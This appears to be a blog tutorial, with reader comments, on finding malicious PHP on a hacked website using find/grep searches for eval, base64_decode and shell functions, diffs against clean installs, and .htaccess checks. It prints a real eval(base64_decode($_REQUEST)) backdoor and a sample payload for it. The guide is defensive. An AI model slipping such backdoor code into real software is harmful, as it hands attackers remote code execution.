How to Tell if Your PHP Site has been Hacked or Compromised

A friend of mine recently had their site compromised, they were running an older version of IP.Board that is vulnerable to a local file inclusion vulnerability. This post won’t be about IP.Board or any specific php code, it will show you how to locate potential malicious php code hosted on your servers and how to fix it. Finally I will give a brief explanation on what attacker’s are uploading to compromised sites.

Part 2 is now available: Steps to Take When you Know your PHP Site has been Hacked

Check your Access Logs

To start things off, I’d like to share some entries from the access log site of my friends’ compromised website.

IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"

Checking your server access logs is something you should do often, however if you are not careful, URLs such as above that may look innocent may fly right by you.

The two files above are uploaded attack scripts, how they got there is largely irrelevant as the php code on any two servers is likely to be different. However, in this particular example, an outdated IP.Board version was exploited and attackers were able to add their own scripts to writable directories such as the user upload directory and the directory where IP.Board stores cached skin images. This is a common attack vector as many people change the permissions of these directories to 777 or world writable, more on this in a moment.

Take a closer look at the above log lines, does anything stick out to you?

Notice that the access logs are POST requests and not GET requests.

The reason that attackers are likely to do this is to make access logs more innocent as most logs do not store post data.

Identifying Malicious PHP Files

There are several ways to flag php files on your server as suspicious, the following are the best ones.

Tip: These are shell commands, run them from the document root of your website.

Finding Recently Modified PHP Files

Lets start simple, say you haven’t made any changes to your php code in some time, the following command searches for all php files in the current directory tree changed in the last week. You can modify the mtime option as desired, e.g -mtime -14 for two weeks.

 find . -type f -name '*.php' -mtime -7

My compromised server returned results such as:


These are all attack scripts uploaded to the user upload directory.

Note: this command will generate false positives if you legitimately modified php files in the given time period. The following methods are much more effective.

Search all PHP Files for Suspicious Code

This is a far better approach, the following commands search for common php code that attack scripts contain. We’ll start simple and get to more advanced searches.

First check for files that contains eval, base64_decode, gzinflate or str_rot13.

find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Tip: The first parameter of find is the directory to search in, a period means the current directory (and all sub directories). You can change this parameter to any valid directory name to reduce your result set, e.g:

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

If you remove the -l option from grep, it will show the text matched in the file. I like to take this a step further and look for the above commands combined together which is very common.

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

The above command will find php files contain eval(str_rot13(base64_decode(

The syntax for grep is really easy and you can modify this to suit your needs. Take a look at the value we are searching for, from above it’s “eval *(str_rot13 *(base64_decode *(“.

The blank space followed by a * means zero or more spaces. This means the above search will make examples such as these:

eval( str_rot13( base64_decode
eval(  str_rot13( base64_decode

Tip: Expand on this to search for functions that could be used maliciously, such as mail, fsockopen, pfsockopen, stream_socket_client, exec, system and passthru. You can combine a search for all of these terms into one command:

 find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("

Note: We are using egrep here, not grep, this allows for better regular expression matching.

Finally, here is a lesser known way to hide code:





preg_replace with the e modifier will execute that code, it looks fancy, however it’s really just gzipped base64 encoded php using some hexadecimal character codes.


translates to eval ( gzinflate ( base64_decode ( and at the end of the file,


translates to )) ) ;

This command will help you find uses of preg_replace that you should look into:

find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color

Tip: If you get a tonne of results from these find commands, you can save the results to a file or pipe them to another program called less which allows you to view the results, one page at a time. Press the f key to go forward and q to quit. e.g:

find . -type f -name '*.php' | xargs grep base64_ | less

find . -type f -name '*.php' | xargs grep base64_ > results.txt

You can use any of the find and search commands shown above in this way.

Tip: Note the hexadecimal at the end? x29, this is a closing bracket and x3B is a semi colon. You can confirm by running this:

echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );

You can use find to search your php files for these hex codes for further inspection.

find . -type f -name '*.php' | xargs grep -il x29

This might be a good approach if you know you don’t use hex.

Stating the Obvious

Most of the methods so far assume that the attacker uploaded some form of obfuscated code, other attackers may simply modify existing php code that you uploaded. When this happens the code may try to look natural and match the style of the existing script or it may try to be confusing.

To get around this you need a clean copy of your code, if you’re using a widely used php script like wordpress, vbulletin, IP.Board etc – you’re set. If not hopefully you use git or some other version control system that you can get a clean copy of your code.

For this example, I’ll use wordpress.

I have two directories, wordpress-clean which contains a freshly downloaded copy of wordpress and wordpress-compromised which contains a compromised file somewhere in the installation.

drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised

I can find the differences between my wordpress install and the clean wordpress install by running this command:

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content

Tip: make sure you use the same version of wordpress for the comparison.

I excluded wp-content from this search as everyone has custom themes and plugins. You can of course repeat this process for your plugins and themes. Download a fresh copy at and modify the command as needed.

Here is the result of my search:

diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
> if (isset($_REQUEST['x'])) {
>     eval(base64_decode($_REQUEST['x']));
> }

It found the malicious code!

Out of Curiousity…

What could a potential attacker do with those 3 lines of code? First, the attacker would make a payload such as this:

$payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=

Then they can either send a POST or GET request to http://YOURSITE/wp-admin/includes/class-wp-importer.php with the x parameter created by the script above. The result would be that a file is created at /wp-content/uploads/wp-upload.php that outputs your server’s PHP information. This is not bad in itself, the point is, the attacker can run any PHP code they desire.

Note: This only works if the wp-content/uploads directory is writable by PHP and it almost always is for wordpress installs and depending on the web server’s permissions, you may even be able to change read/write permissions of other files.

Always search your writable upload directories for executable code

Using the techniques I have shown you so far, it’s easy to search for php code in your user upload directories. For wordpress, this would be

find wp-content/uploads -type f -name '*.php'

Tip: Here is a really simple bash script that will search for every directory with world writable permissions and find all php files in those directories. The results will be saved in a file called results.txt. Be careful, it will search recursively.


writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
    #echo $dir
    find $dir -type f -name '*.php'

Create the above file and give it executable permissions, assuming the file is called search_for_php_in_writable

chmod +x search_for_php_in_writable

You can save this file in your home directory and then navigate to directories that you wish to search and run this command:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less

Note: If your website is on a shared host and the web server is not configured in a secure way, your website doesn’t even have to be the one that gets exploited. A common upload to a vulnerable website is a php shell which is essentially a tool that gives the attacker a file browser among other things. They can use this tool to then upload attack scripts to all world writable folders on the server such as your uploads directory.

Note: Attackers commonly try to upload images that contain php code, it’s also a good idea to search for image extensions that contain php keywords you have seen so far.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php

Don’t believe me? this file was uploaded as a jpg image to a compromised site. It looks like it could be mistaken as binary data. Here is the same file in a more “readable” format.

Still can’t read it? neither could I before some deeper inspection. All of that code is meant run this function:

if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
    function shutdownCallback() {
        echo "<!--".md5("links")."-->";

What this script does is irrelevant, take away from this that you need to be checking your uploads directory.

In case you were wondering, this is simply a probe script to see if a host is vulnerable, the attack comes later.

Where else could malicious code be hiding?

If your php code dynamically generates page content and your site was compromised, the attacker may have updated your database and stored their malicious code in your raw data. Here is a way you can do some more thorough checks.

Go to your website, after it loads, view the page html source and save the source somewhere on your computer, for example mywebsite.txt; Run the following command

grep -i '<iframe' mywebsite.txt

Attackers commonly insert iframes into compromised sites, check yours for any that you didn’t put there!

Tip: Use an extension like firebug for firefox to download your html source, the attacker may use javascript to create the iframes, these will not show up when viewing the source of the page in your browser because the DOM is manipulated after page load. There is also an extension called Live HTTP Headers for firefox that will show all requests for the page currently being viewed. This will make it easy to see if there is web requests that shouldn’t be there.

Search your database

It’s also possible that an attacker added code to your database. This would only be the case if your script stored custom code such as plugins in a database like vBulletin does. Although uncommon, it’s still worth knowing. If you are exploited in this way, it’s more likely that the attacker would insert iframes into your tables that display data on your website, the above check will help with this.

In this example we’ll use mysql or a derivative.

For this I like to use PHPMyAdmin and this is unusual for me, I prefer to use comand line tools when available, however this tool is great for doing searches.

Personally I don’t run PHPMyAdmin on a production server, I download a copy of the database and run it on a local development server. If your database is large, searching the entire thing for small pieces of text is not advisable on a production server.

To search your database, open PHPMyAdmin, simply navigate to your database and click ‘Search’. You can search for strings such as %base64_% and %eval(%. You can re-use the search terms I’ve already outlined.

Check .htaccess Files if you use Apache

If you use the apache web server, check your .htaccess files for suspicious modifications.

auto_append_file and auto_prepend_file include other php files to the beginning or end of all php files, attackers may use this to include their code.

find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;

The following command searches for all .htaccess files in all subdirectories that contains ‘http’. This will list all redirect rules that may include malicious redirects.

find . -type f -name '\.htaccess' | xargs grep -i http;

Some malicious redirects only redirect based on user agent, it would also be a good idea to look for uses of HTTP_USER_AGENT in .htaccess files. The above commands can be modified easily, simply change the keyword at the end followed by a semi colon.

For increased security, if you are able too, disable directory level configuration using .htaccess files and move the configuration to the main apache configuration instead.

In the “Real World”

So, why do people want to exploit your site, what’s in it for them? For some, it’s a hobby but for others it’s a source of income.

Here is an example of an attack scripted uploaded to a compromised site. It relies solely on post data to operate so most server logs would be useless in this case. I was able to log the post requests, here is a sample POST request:

    [lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
    [eIHSE] => PNxsDhxNdV
    [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
    [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX

    [GGhp] => a3ZAbFFTSlJSbFo=
    [AIQXa] => e3VWT2VvQ0hyS0ha

The attack script is basically a SPAM zombie that will send any email to anyone using your server based on a command sent through a post request. The keys in every post request can change and the script is very resourceful, it checks your installation for disabled functions and adapts to this. For example if php mail() is unavailable, it will try to create a socket to port 25 and send e-mail directly through smtp.

If you’re interested in decoding the attack data, the function called n9a2d8ce3 at the end of the file does what you need. The cryptic POST data supplies the destination address and content of the e-mail. I’m not going to decode it here.

If you use the tips provided in this article, you will have no problem detecting scripts such as these.


If you use common php scripts like wordpress, pay attention to critical or security updates not only for the base install, but for addons such as plugins as well. Most attackers will probe thousands of installations for known vulnerabilities, so if you are vulnerable, you will be found eventually.

If you are running in-house code, it’s still good practice to do a sweep of your server every now and then, after all it doesn’t have to be a vulnerability in your code, it may be a library that you use.

Part 2 is available: Steps to Take When you Know your PHP Site has been Hacked



13 thoughts on “How to Tell if Your PHP Site has been Hacked or Compromised

  • Chris says:

    Excellent coverage on this topic. I had to deal with a a few years back. It can be very difficult to track down if you don’t know what you’re looking for.

  • […] is a follow up post from my previous post “How to Tell if Your PHP Site has been Hacked or Compromised“. This post will discuss some the first steps you should take when you have identified that […]

  • Pascal says:

    A good idea is to deploy code to production server from code repostiory (SVN, Git). If you do this, you can easily check for any modifications. Reverting changes is also very easy.

    On my server I have cron that checks every hour for any modifications using git and notifies me about them by e-mail.

    • Greg Freeman says:

      This is my preferred method for my own code, however I wouldn’t expect the average website owner to check in third party code and then use that to install. Also whilst the this works for monitoring the core code base, most installations would have a custom directory to hold uploads and user content, that wouldn’t be in the repo.

  • Dave says:

    My drupal site is currently getting hacked. A malicious redirect script is being added to the theme templates.

    I can’t figure out how they are getting in or where the bad script creating it could be.

  • Fred says:

    Hello Greg, Thanks for the tutorial specially that I am very much in the learning process here.

    As it relates to the below if I find the codes when I execute any of those commands is that saying that all of the files in the results hacked?

    find . -type f -name ‘*.php’ | xargs grep -l “eval *(” –color
    find . -type f -name ‘*.php’ | xargs grep -l “base64_decode *(” –color
    find . -type f -name ‘*.php’ | xargs grep -l “gzinflate *(” –color

    Many Thanks




  • Eric says:

    Why not use a tool like tripwire that will monitor your system as a whole and notify you of new files/modifications? The rule sets can be customized and fairly extensive.

  • Arbit says: is a nice tool that automates alot of the steps you have described.

  • Jeff Glenn says:

    This is great. I ran into this situation a few years back and ended up using a lot of the same tactics here – my notes on it ended up getting lost over the years so this is a very handy collection. Thanks!

  • […] If this doesn’t do the job, then you might need to get more technical. Much of the more technical approaches to cleaning out malware from a WordPress site are beyond the scope of this article, but there are some good pointers here. […]

  • Quora says:

    How do we know if our website is hacked, if the hacker doesn’t make any changes to the website?

    If the hacker has wished for not making any changes, then it’s difficult. Always you can try checking for server logs with malicious POST based requests. Also try checking for unknown IPs. For further guidance, you can check out this website http://www.gregf&#8230;

  • Michael W Joyner says:

    Greg, I have 2 clients that were attacked independently. Both with eval injection.

    You blog posting is SPOT ON. You have helped me as professional to better represent my skills.

    I need help identifying the initial attack to determine the attack vector.

    One of the companies is a publicly traded company.

Leave a Reply

Your email address will not be published. Required fields are marked *